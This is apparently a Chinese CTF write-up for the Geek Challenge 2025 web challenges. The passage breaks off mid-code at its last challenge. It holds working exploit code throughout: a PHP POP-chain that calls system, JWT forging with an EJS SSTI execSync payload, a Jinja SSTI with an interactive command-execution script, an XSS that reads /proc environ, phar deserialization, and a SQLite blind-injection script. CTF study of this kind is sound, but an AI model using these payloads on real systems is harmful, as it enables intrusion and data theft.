2025-极客大挑战web
web
web
popself
考点:双md5弱相等+回调函数
<?php
show_source(__FILE__);
error_reporting(0);
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;
public function __set($name, $value){
echo "他还是没有忘记那个".$value."<br>";
echo "收集夏日的碎片吧<br>";
$fox = $this->Fox;
if ( !($fox instanceof All_in_one) && $fox()==="summer"){
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}
public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct(){
echo "你能让K4per和KiraKiraAyu组成一队吗<br>";
if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}
if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}
public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}
public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}
}
}
class summer {
public static function find_myself(){
return "summer";
}
}
$payload = $_GET["24_SYC.zip"];
if (isset($payload)) {
unserialize($payload);
} else {
echo "没有大家的压缩包的话,瓦达西!<br>";
}
?>链子显然__destruct-__set-__call-__tostring-__invoke,但是这destruct中的md5比较显然是要用0e绕过强等,但是0e弱相等有条件-就是0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0,所以写个脚本爆破一下双md5后得到一个数0e开头后接着纯数字
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import os
import sys
# 字符集:字母 + 数字
CHARS = string.ascii_letters + string.digits
def crack_double_md5(stop_event):
# 使用进程ID作为随机种子,确保每个进程生成的字符串不同
random.seed(os.getpid())
while not stop_event.is_set():
# 随机生成 4 到 8 位的字符串(短字符串通常更容易碰到,且计算更快)
# 如果长时间跑不出,可以调整范围,例如 (5, 10)
str_len = random.randint(4, 8)
s = ''.join(random.choice(CHARS) for _ in range(str_len))
# 第一次 MD5
m1 = hashlib.md5(s.encode('utf-8')).hexdigest()
# 第二次 MD5
m2 = hashlib.md5(m1.encode('utf-8')).hexdigest()
# 判断标准:以 0e 开头,且第3位开始全是数字
if m2.startswith('0e') and m2[2:].isdigit():
sys.stdout.write(f"\n[★] 爆破成功!\n")
sys.stdout.write(f"---------------------------\n")
sys.stdout.write(f"明文 (KiraKiraAyu): {s}\n")
sys.stdout.write(f"MD5(1次): {m1}\n")
sys.stdout.write(f"MD5(2次): {m2}\n")
sys.stdout.write(f"---------------------------\n")
# 通知主进程停止所有进程
stop_event.set()
if __name__ == '__main__':
print(f"[-] 开始爆破双重 MD5 (Target: md5(md5(s)) == 0e[0-9]+ )")
print(f"[-] 正在调用 {multiprocessing.cpu_count()} 个核心进行计算...")
# 创建停止事件
stop_event = multiprocessing.Event()
processes = []
# 启动与 CPU 核心数相同的进程
for i in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=crack_double_md5, args=(stop_event,))
processes.append(p)
p.start()
try:
# 等待任何一个进程找到结果
for p in processes:
p.join()
except KeyboardInterrupt:
print("\n[!] 用户强制停止")
stop_event.set()[CTF中关于md5的一些总结 - Dr0n's blog](https://www.dr0n.top/posts/ad669f62/#:~:text=可以传入两个md5加密后是0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0 在 %3D%3D%3D 的情况下如果没有加类似 is_numeric 的函数进行过滤还是可以使用数组绕过,但是不能使用科学计数法绕过了,方法三:MD5强碰撞 可以使用 fastcoll 来碰撞出一组内容不同但md5值相同的值 MD5和双MD5以后的值都是0e开头的 爆破脚本)
还一些小细节代码展示
<?php
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;
public function __set($name, $value)
{
echo "他还是没有忘记那个" . $value . "<br>";
echo "收集夏日的碎片吧<br>";
$fox = $this->Fox;
if (!($fox instanceof All_in_one) && $fox() === "summer") {#$fox 不能是 All_in_one 对象。$fox() 执行后必须返回字符串 "summer"
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}
public function __invoke()
{
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct()
{
echo "你能让K4per和KiraKiraAyu组成一队吗<br>";
if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu)) === md5($this->K4per)) {
die("boys和而不同<br>");
}
if (md5(md5($this->KiraKiraAyu)) == md5($this->K4per)) {
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
} else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu)) . "<br>";
echo md5($this->K4per) . "<br>";
}
} else {
die("boys堂堂正正");
}
}
public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}
public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}
}
}
class summer
{
public static function find_myself()
{
return "summer";
}
}
$a = new All_in_one();
$a->KiraKiraAyu = "jdk45GyM";
$a->K4per = "s878926199a";
$a->QYQS = new All_in_one();
$a->QYQS->Fox = ['summer', 'find_myself'];#数组 ['ClassName', 'MethodName'] 可以作为回调函数(Callable)执行。
$a->QYQS->komiko = new All_in_one();
$a->QYQS->L = "9e9";#注意当前对象是$a->QYQS
$a->QYQS->sleep3r = new All_in_one();
$a->QYQS->sleep3r->_4ak5ra = new All_in_one();
$a->QYQS->sleep3r->_4ak5ra->Samsāra = "system";
$a->QYQS->sleep3r->_4ak5ra->ivory = "env";
echo serialize($a) . "\n";
echo urlencode(serialize($a));
?>阿基里斯
抓包改数据


解码就有flag

Expression
考点:Express 框架打 EJS模板渲染
注册用户然后爆破密钥
python jwt_cracker.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjI2MzMyOTIzNzdAcXEuY29tIiwidXNlcm5hbWUiOiJ1c2VyXzRiZWFjMDE2NzdkZSIsImlhdCI6MTc2MzA4Mjk1NywiZXhwIjoxNzYzNjg3NzU3fQ._BrrY2Yddui7pawR8PG7BNyk9Pk8XSMHZ2E0wHN9cwE"
import jwt
import datetime
# 定义标头(Headers)
headers = {
"alg": "HS256",
"typ": "JWT"
}
# 定义有效载体(Payload)
token_dict = {
"email": "2633292377@qq.com",
"username": "admin",
}
# 密钥
secret = 'secret'
jwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers)
print("JWT Token:", jwt_token)
然后就没利用点了?想到可以伪造admin,而且还回显了,说明是服务端模板渲染(服务端模板渲染未必存在 SSTI)一般有以下几种 fuzz 方向:
XSS(前端没有 JS,排除 CSTI 和 DOM 型 XSS)
SQL/NoSQL注入
SSTI题目中没有 XSS 攻击对象,数据库层面也是测试不出漏洞特征的,SSTI 这方面比较容易测试出来。根据题目Expression,显然就是Express.js框架,Express 常搭配用的模板引擎有 EJS(ExpressJS 最常用的模板引擎)、Pug、、Handlebars 等,我们可以构造一个简单的数学运算表达式 Payload 列表进行 Fuzz,看看服务端是否执行了表达式,参考 Fuzz Payload:
<%= 7*7 %> // EJS
#{7*7} // Pug
{{7*7}} // Handlebars将 username 伪造为 <%= 7*7 %> 时,页面回显了 49,便可以证实服务端存在 EJS SSTI。服务端未设置任何 WAF,直接进行命令执行即可。
import jwt
import datetime
# 定义标头(Headers)
headers = {
"alg": "HS256",
"typ": "JWT"
}
# 定义有效载体(Payload)
token_dict = {
"email": "2633292377@qq.com",
"username": "<%= global.process.mainModule.require('child_process').execSync('cat server.js').toString() %>",
}
# 密钥
secret = 'secret'
jwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers)
print("JWT Token:", jwt_token)
const express = require('express');
const path = require('path');
const jwt = require('jsonwebtoken');
const cookieParser = require('cookie-parser');
const ejs = require('ejs');
const crypto = require('crypto');
const app = express();
const PORT = process.env.PORT || 3000;
// 配置
const JWT_SECRET = 'secret';
const users = new Map(); // 用户存储
// 中间件
app.use(express.urlencoded({ extended: false }));
app.use(express.json());
app.use(cookieParser());
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.use('/public', express.static(path.join(__dirname, 'public')));
// 工具函数
function generateServerUsername() {
const suffix = crypto.randomBytes(6).toString('hex');
return `user_${suffix}`;
}
function signToken(payload) {
return jwt.sign(payload, JWT_SECRET, { algorithm: 'HS256', expiresIn: '7d' });
}
// 认证中间件
function requireAuth(req, res, next) {
const token = req.cookies.token;
if (!token) return res.redirect('/');
try {
const decoded = jwt.verify(token, JWT_SECRET, { algorithms: ['HS256'] });
req.user = decoded;
next();
} catch (e) {
return res.redirect('/');
}
}
// 路由
app.get('/', (req, res) => {
const token = req.cookies.token;
let currentUser = null;
let renderedUsername;
if (token) {
try {
currentUser = jwt.verify(token, JWT_SECRET);
try {
renderedUsername = ejs.render(String(currentUser.username), { user: currentUser, process });
} catch (e) {
renderedUsername = currentUser.username;
}
} catch (e) {
// 令牌无效,保持用户为null
}
}
res.render('index', { currentUser, renderedUsername });
});
app.post('/register', (req, res) => {
const { email } = req.body;
// 邮箱验证
if (!email || !/^[^@\n]+@[^@\n]+\.[^@\n]+$/.test(email)) {
return res.status(400).render('index', { error: 'Invalid email', currentUser: null });
}
// 检查是否已注册
if (users.has(email)) {
return res.status(400).render('index', {
error: 'Email already registered. Please login.',
currentUser: null
});
}
// 创建用户
const username = generateServerUsername();
users.set(email, username);
// 生成令牌并设置cookie
const token = signToken({ email, username });
res.cookie('token', token, { httpOnly: true, sameSite: 'lax' });
return res.redirect('/');
});
app.post('/login', (req, res) => {
const { email } = req.body;
// 邮箱验证
if (!email || !/^[^@\n]+@[^@\n]+\.[^@\n]+$/.test(email)) {
return res.status(400).render('index', { error: 'Invalid email', currentUser: null });
}
// 检查用户是否存在
if (!users.has(email)) {
return res.status(400).render('index', {
error: 'Email not found. Please register first.',
currentUser: null
});
}
// 登录用户
const username = users.get(email);
const token = signToken({ email, username });
res.cookie('token', token, { httpOnly: true, sameSite: 'lax' });
return res.redirect('/');
});
app.get('/logout', (req, res) => {
res.clearCookie('token');
res.redirect('/');
});
// 启动服务器
app.listen(PORT, () => {
console.log(`Server listening on http://127.0.0.1:${PORT}`);
});flag是在env里
Vibe SEO
考点:遍历读取文件描述符fd
目录扫描得到/sitemap.xml泄露,泄露了aa__^^.php文件,访问得到

第3行错误:意思是$_GET['filename'] 不存在,第4行错误:参数为空导致 readfile(''),猜测可能是这样的代码,
if(strlen($_GET['filename']) > 0) // 第3行
readfile($_GET['filename']); // 第4行
所以直接读filename=aa__^^.php,得到源码
<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}

直接给geminipro3梭哈了


解释一下
前面 fopen 打开了目标文件 /my_secret.txt,并将 handle 赋值给了变量 $flag。这里仅仅是打开了文件,并没有关闭它,因此可以通过文件描述符来读取
(Linux 中一个进程打开一个文件时,内核会分配一个文件描述符给这个文件 handle,新打开的文件从 3 开始递增(进程启动时默认打开三个 FD,0: 标准输入 (stdin)1: 标准输出 (stdout)2: 标准错误 (stderr)),可以通过 /proc/self/fd/<自然数> 或 /dev/fd/<自然数> 来访问这些文件描述符 )Xross The Finish Line
考点:有waf的xss
去github上找了一个字典fuzz一下,发现下面的payload可以打
<img src="https://cdn.nlark.com/yuque/0/2026/svg/54382611/1767280228203-8efcb330-ae47-4118-a813-af616f0807b5.svg" />
PDF Viewer
考点:xss读文件
直觉可能是xss,打<script> document.write(window.location); </script>回显file:///usr/src/app/2018612090897655262.html那就是xss
猜flag在环境,打
<script>
var x = new XMLHttpRequest();
x.open("GET", "file:///proc/1/environ", false);
x.send();
document.write(x.responseText);
</script>

被出题人想到了,那就是反弹shell,但是flag肯定是在admin里面,但是爆破进不去,算了,先拿源码,读/usr/src/app/app.py
from flask import *
import pdfkit
import subprocess
import time
import os
import spwd
import crypt
from hmac import compare_digest as compare_hash
app = Flask(__name__)
@app.route('/', methods=['POST', 'GET'])
def index():
if request.method == 'POST':
html_content = request.form.get('content')
if html_content is None:
return render_template('index.html')
# Security check to prevent reading /proc//environ
if '/environ' in html_content:
return ' :)'
# Generate unique filenames using hash of current time
uid = str(hash(time.time()))
out_filename = uid + '.pdf'
html_filename = uid + '.html'
# Create HTML file from template
html = render_template('document.html', content=html_content)
with open(html_filename, 'w', encoding='utf-8') as html_file:
html_file.write(html)
# Generate PDF using wkhtmltopdf with timeout
TIMEOUT = '3'
cmd = [
'xvfb-run', 'timeout', '--preserve-status', '-k', TIMEOUT, TIMEOUT,
'wkhtmltopdf', '--enable-local-file-access',
'--load-error-handling', 'ignore',
'--load-media-error-handling', 'ignore',
html_filename, out_filename
]
try:
subprocess.run(cmd, shell=False, check=True)
except subprocess.CalledProcessError:
return ''
# Return PDF response
with open(out_filename, 'rb') as out_file:
output = out_file.read()
# Cleanup (commented out for debugging)
# os.remove(out_filename)
# os.remove(html_filename)
response = make_response(output)
response.headers['Content-Type'] = 'application/pdf'
response.headers['Content-Disposition'] = 'inline; filename=document.pdf'
return response
return render_template('index.html')
@app.route('/admin', methods=['POST', 'GET'])
def adminLogin():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username is None or password is None:
return render_template('login.html')
# Validate username and password against system users
try:
pw1 = spwd.getspnam(username).sp_pwd
pw2 = crypt.crypt(password, pw1)
if compare_hash(pw2, pw1):#
return render_template('login.html', msg=os.environ['FLAG'])
else:
return render_template('login.html', msg='Incorrect password!')
except KeyError:
# Username not found
return render_template('login.html', msg='Incorrect username!')
return render_template('login.html')
if __name__ == '__main__':
app.run(host='0.0.0.0')最重要的代码是
try:
pw1 = spwd.getspnam(username).sp_pwd
pw2 = crypt.crypt(password, pw1)
if compare_hash(pw2, pw1):#
return render_template('login.html', msg=os.environ['FLAG'])把你输入的密码,和 Linux 系统里存的真密码(在 /etc/shadow,里面存着Lunix用户密码,不过是hash值,还加盐了)进行比对。这不就说明了用户是在/etc/passwd里面吗


所以思路一就是以WeakPassword_Admin爆破密码,第二就是解哈希,但是应该是爆密码,果然一下就爆出了

登了就有flag
ez_read
登入发现有个文件读取功能
不知道app.py在哪,直接读/proc/self/cwd/app.py(/proc/self/cwd 是一个指向当前工作目录的符号链接)
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os
app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"
USERS = {}
def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""
if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")
return payload
@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")
@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)
try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)
@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))
base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []
filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""
content = None
error = None
if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()
return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)要114长度才能打ssti,直接上fenjing
from fenjing import exec_cmd_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str):
blacklist = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for word in blacklist:
if word in s:
return False
return True
payload, _ = exec_cmd_payload(waf, "ls /")
print(payload)
{{((g.pop['_''_globals__'].__builtins__['__i''mport__']('os')).popen('ls /')).read()}}{{11111111*111111111111111}}直接读flag没东西,读env
{{((g.pop['_''_globals__'].__builtins__['__i''mport__']('os')).popen('env')).read()}}{{1111111111111111111111111}}发现要提权

先写个自动化脚本吧,自己写了个逻辑
cmd="ls /"
usernames="{{((g.pop['_''_globals__'].__builtins__['__i''mport__']('os')).popen('%s')).read()}}"%cmd
fill=(514-len(usernames)-6)*"1"
payload=usernames+"{{ %s }}"%fill
print(len(payload))
print(payload)这样的payload可以得到结果,然后要ai写一个自动脚本(注意不要开vpn,不然502)
import requests
import re
class SSTIExploit:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def register(self, username, password):
url = f"{self.base_url}/register"
data = {'username': username, 'password': password}
try:
return self.session.post(url, data=data, timeout=10)
except Exception as e:
print(f"注册失败: {e}")
return None
def login(self, username, password):
url = f"{self.base_url}/login"
data = {'username': username, 'password': password}
try:
return self.session.post(url, data=data, timeout=10)
except Exception as e:
print(f"登录失败: {e}")
return None
def get_profile(self):
url = f"{self.base_url}/profile"
try:
return self.session.get(url, timeout=10)
except Exception as e:
print(f"访问profile失败: {e}")
return None
def generate_payload(self, cmd):
payload = "{{((g.pop['_''_globals__'].__builtins__['__i''mport__']('os')).popen('%s')).read()}}" % cmd
fill_length = 514 - len(payload) - 6
if fill_length > 0:
fill = "1" * fill_length
payload = payload + "{{ %s }}" % fill
print(f"[*] Payload长度: {len(payload)}")
return payload
def extract_content_after_welcome(self, response_text):
"""提取欢迎后面的所有字符(包括换行)"""
# 查找"欢迎"的位置
welcome_keywords = ["欢迎", "Welcome"]
welcome_index = -1
for keyword in welcome_keywords:
idx = response_text.find(keyword)
if idx != -1:
welcome_index = idx
print(f"[*] 找到 '{keyword}' 在位置: {idx}")
break
if welcome_index == -1:
print("[-] 未找到欢迎关键字")
return None
# 提取欢迎关键字之后的所有内容
content_start = welcome_index
# 向前查找一点上下文,以便更好地理解结构
context_start = max(0, content_start - 50)
context_end = min(len(response_text), content_start + 200)
context = response_text[context_start:context_end]
print(f"[*] 欢迎附近上下文: {context}")
# 提取从欢迎开始的所有内容
full_content = response_text[content_start:]
# 找到欢迎关键字之后的第一个HTML标签,或者提取一定长度
# 先尝试找到第一个标签
tag_match = re.search(r'<[^>]*>', full_content)
if tag_match:
# 如果找到标签,提取标签之前的内容
extracted = full_content[:tag_match.start()].strip()
else:
# 如果没有找到标签,提取前2000个字符
extracted = full_content[:2000].strip()
print(f"[*] 提取到内容长度: {len(extracted)}")
# 清理内容:移除常见的HTML标签和属性
# 但保留换行符
cleaned = re.sub(r'<[^>]+>', '', extracted)
# 移除多余的空格,但保留换行
cleaned = re.sub(r'[ \t\r\f\v]+', ' ', cleaned)
# 移除"欢迎"关键字本身(以及可能的中文标点)
cleaned = re.sub(r'^欢迎[,,::]*\s*', '', cleaned, flags=re.IGNORECASE)
cleaned = re.sub(r'^Welcome[,,::]*\s*', '', cleaned, flags=re.IGNORECASE)
# 移除开头和结尾的空格/换行
cleaned = cleaned.strip()
# 如果内容为空或太短,返回原始内容
if not cleaned or len(cleaned) < 5:
print("[-] 提取的内容太短,返回原始内容")
return extracted.strip()
return cleaned
def execute_command(self, command):
print(f"\n[*] 执行命令: {command}")
payload_username = self.generate_payload(command)
password = "password123"
# 重置session
self.session = requests.Session()
# 注册
reg_resp = self.register(payload_username, password)
if not reg_resp:
print("[-] 注册失败")
return None
print(f"[*] 注册状态: {reg_resp.status_code}")
# 登录
login_resp = self.login(payload_username, password)
if not login_resp:
print("[-] 登录失败")
return None
print(f"[*] 登录状态: {login_resp.status_code}")
# 访问profile
profile_resp = self.get_profile()
if not profile_resp:
print("[-] 获取profile失败")
return None
print(f"[*] Profile状态: {profile_resp.status_code}")
print(f"[*] Profile长度: {len(profile_resp.text)} 字符")
# 提取欢迎后面的内容
output = self.extract_content_after_welcome(profile_resp.text)
return output
def main():
base_url = "http://8080-96982510-cb75-4e1d-8370-0ee0955a35ce.challenge.ctfplus.cn"
print(f"[*] 目标URL: {base_url}")
print("[*] 启动SSTI漏洞利用工具")
print("[*] 输入命令执行,输入 'exit' 或 'quit' 退出")
print("=" * 60)
exploit = SSTIExploit(base_url)
# 测试连接
print("[*] 测试连接...")
try:
test_resp = requests.get(base_url, timeout=5)
print(f"[*] 连接成功,服务器状态: {test_resp.status_code}")
except Exception as e:
print(f"[!] 连接失败: {e}")
return
# 交互式命令执行
while True:
try:
cmd = input("\n[>] 输入命令: ").strip()
if cmd.lower() in ['exit', 'quit', 'q']:
print("[*] 退出程序")
break
if not cmd:
continue
# 执行命令
output = exploit.execute_command(cmd)
if output:
print(f"\n[+] 提取的输出:")
print("-" * 60)
print(output)
print("-" * 60)
else:
print("[-] 未提取到输出")
except KeyboardInterrupt:
print("\n[*] 用户中断,退出程序")
break
except Exception as e:
print(f"[!] 执行出错: {e}")
if __name__ == "__main__":
main()读dockerfile知道利用/usr/local/bin/env有suid权限,直接提就好(当然直接打find / -user root -perm -4000 -print 2>/dev/null也挺好,我还以为是打docker逃逸开始)


ez-seralize
考点:phar反序列化
有文件读取,但是看注释设置了读的范围

open_basedir=/var/www/html:/tmp
sys_temp_dir=/tmp #PHP的系统临时文件存放在 /tmp
upload_tmp_dir=/tmp #上传的文件在处理前先存放在 /tmp读index.php
<?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;
$content = null;
$error = null;
if (isset($filename) && $filename !== '') {
$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
foreach ($balcklist as $v) {
if (strpos($filename, $v) !== false) {
$error = "no no no";
break;
}
}
if ($error === null) {
if (isset($_GET['serialized'])) {
require 'function.php';
$file_contents= file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
} else {
$file_contents = file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
}
}
} else {
$error = null;
}
?>
这里有function.php,直接读
<?php
class A {
public $file;
public $luo;
public function __construct() {
}
public function __toString() {
$function = $this->luo;
return $function();
}
}
class B {
public $a;
public $test;
public function __construct() {
}
public function __wakeup()
{
echo($this->test);
}
public function __invoke() {
$this->a->rce_me();
}
}
class C {
public $b;
public function __construct($b = null) {
$this->b = $b;
}
public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}这里给了链子每有反序列化点,但是可以上传文件,那就是phar反序列化了,上传点在哪?发现robots.txt有uploads.php,读一下
<?php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
'txt' => ['text/plain'],
'log' => ['text/plain'],
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
'gif' => ['image/gif'],
'gz' => ['application/gzip', 'application/x-gzip']
];
$resultMessage = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['error'] === UPLOAD_ERR_OK) {
$originalName = $file['name'];
$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist, true)) {
die('File extension not allowed.');
}
$mime = $file['type'];
if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
}
$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
$safeBaseName = ltrim($safeBaseName, '.');
$targetFilename = time() . '_' . $safeBaseName;
file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");
$targetPath = $uploadDir . $targetFilename;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
@chmod($targetPath, 0644);
$resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
} else {
$resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
}
} else {
$resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
}
}
?>文件名限制,上传文件会重命名且移动到uploads/下
<?php
class A
{
public $file;
public $luo;
public function __construct()
{
}
public function __toString()
{
$function = $this->luo;
return $function();
}
}
class B
{
public $a;
public $test;
public function __construct()
{
}
public function __wakeup()
{
echo ($this->test);
}
public function __invoke()
{
$this->a->rce_me();
}
}
class C
{
public $b;
public function __construct($b = null)
{
$this->b = $b;
}
public function rce_me()
{
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}
$a = new B();
$a->test = new A();
$a->test->luo = new B();
$a->test->luo->a = new C();
$phar = new Phar("2.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
$phar->stopBuffering();
@rename("2.phar", "1.phar.png");上传后读/tmp/log.txt,然后打filename=phar://uploads/1766050031_1.phar.png&serialized=1然后到读/tmp/flag即可
Sequal No Uta
考点:sqlite盲注
只有2种回显,那就是sqlite布尔盲注,打admin'%09or%091=1--显示用户活用,那就只ban了空格
import requests
base_url = "http://80-1bfe4612-2571-4ff2-86a1-7a79bcbd3e89.challenge.ctfplus.cn/check.php"
result = ""
i = 0
while True:
i += 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) // 2
#payload = "(SELECT%09sqlite_version())"#这个跑不出,其它可以?很怪
#payload = "(SELECT%09group_concat(tbl_name)%09FROM%09sqlite_master%09WHERE%09type='table')"#users,sqlite_sequence
#payload = "(SELECT%09sql%09FROM%09sqlite_master%09WHERE%09tbl_name='users')"#id username,password,is_active,secret
payload = "(SELECT%0agroup_concat(secret)%0aFROM%0ausers)"
current_url = f"{base_url}?name=admin'%09and%09substr(({payload}),{i},1)>'{chr(mid)}'--"
# current_url = "{0}?name=admin'%09or%09sUbstr(({1}),{2},1)>'{3}'--+".format(base_url, payload, i, chr(mid))
try:
r = requests.get(url=current_url, timeout=5)
if '活跃' in r.text:
head = mid + 1
else:
tail = mid
except Exception as e:
print(f"请求失败: {e}")
break
if head != 32:
result += chr(head)
print(f"[+] 当前结果: {result}")
flag跑出来稍微一点问题,将%改成-就行

eeeeezzzzzzZip
考点:include触发phar文件
扫一下得到www.zip,里面是源码,login.php,index.php,upload.php
<?php
session_start();
$err = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$u = $_POST['user'] ?? '';
$p = $_POST['pass'] ?? '';
if ($u === 'admin' && $p === 'guest123') {
$_SESSION['user'] = $u;
header("Location: index.php");
exit;
} else {
$err = '登录失败:用户名或密码错误';
}
}
?><?php
// index.php
session_start();
error_reporting(0);
if (!isset($_SESSION['user'])) {
header("Location: login.php");
exit;
}
$salt = 'GeekChallenge_2025';
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = bin2hex(random_bytes(4));
}
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
